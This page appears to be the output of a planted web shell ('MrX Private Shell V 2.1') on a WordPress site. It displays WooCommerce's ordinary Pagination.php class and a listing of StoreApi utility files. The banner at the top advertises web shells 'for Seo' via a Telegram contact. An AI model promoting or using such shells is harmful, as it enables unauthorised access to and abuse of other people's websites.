__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Automattic\WooCommerce\StoreApi\Utilities;
/**
* Pagination class.
*/
class Pagination {
/**
* Add pagination headers to a response object.
*
* @param \WP_REST_Response $response Reference to the response object.
* @param \WP_REST_Request $request The request object.
* @param int $total_items Total items found.
* @param int $total_pages Total pages found.
* @return \WP_REST_Response
*/
public function add_headers( $response, $request, $total_items, $total_pages ) {
$response->header( 'X-WP-Total', $total_items );
$response->header( 'X-WP-TotalPages', $total_pages );
$current_page = $this->get_current_page( $request );
$link_base = $this->get_link_base( $request );
if ( $current_page > 1 ) {
$previous_page = $current_page - 1;
if ( $previous_page > $total_pages ) {
$previous_page = $total_pages;
}
$this->add_page_link( $response, 'prev', $previous_page, $link_base );
}
if ( $total_pages > $current_page ) {
$this->add_page_link( $response, 'next', ( $current_page + 1 ), $link_base );
}
return $response;
}
/**
* Get current page.
*
* @param \WP_REST_Request $request The request object.
* @return int Get the page from the request object.
*/
protected function get_current_page( $request ) {
return (int) $request->get_param( 'page' );
}
/**
* Get base for links from the request object.
*
* @param \WP_REST_Request $request The request object.
* @return string
*/
protected function get_link_base( $request ) {
return esc_url( add_query_arg( $request->get_query_params(), rest_url( $request->get_route() ) ) );
}
/**
* Add a page link.
*
* @param \WP_REST_Response $response Reference to the response object.
* @param string $name Page link name. e.g. prev.
* @param int $page Page number.
* @param string $link_base Base URL.
*/
protected function add_page_link( &$response, $name, $page, $link_base ) {
$response->link_header( $name, add_query_arg( 'page', $page, $link_base ) );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AgenticCheckoutUtils.php | File | 16.45 KB | 0664 |
|
| ArrayUtils.php | File | 1.49 KB | 0664 |
|
| CartController.php | File | 49.83 KB | 0664 |
|
| CartTokenUtils.php | File | 1.81 KB | 0664 |
|
| CheckoutTrait.php | File | 10.82 KB | 0664 |
|
| DraftOrderTrait.php | File | 1.76 KB | 0664 |
|
| JsonWebToken.php | File | 5.45 KB | 0664 |
|
| LocalPickupUtils.php | File | 3.17 KB | 0664 |
|
| NoticeHandler.php | File | 2.02 KB | 0664 |
|
| OrderAuthorizationTrait.php | File | 3.29 KB | 0664 |
|
| OrderController.php | File | 31.7 KB | 0664 |
|
| Pagination.php | File | 2.05 KB | 0664 |
|
| PaymentUtils.php | File | 3.65 KB | 0664 |
|
| ProductItemTrait.php | File | 3.04 KB | 0664 |
|
| ProductQuery.php | File | 19.25 KB | 0664 |
|
| ProductQueryFilters.php | File | 9.25 KB | 0664 |
|
| QuantityLimits.php | File | 10.11 KB | 0664 |
|
| RateLimits.php | File | 6.14 KB | 0664 |
|
| SanitizationUtils.php | File | 794 B | 0664 |
|
| ValidationUtils.php | File | 1.73 KB | 0664 |
|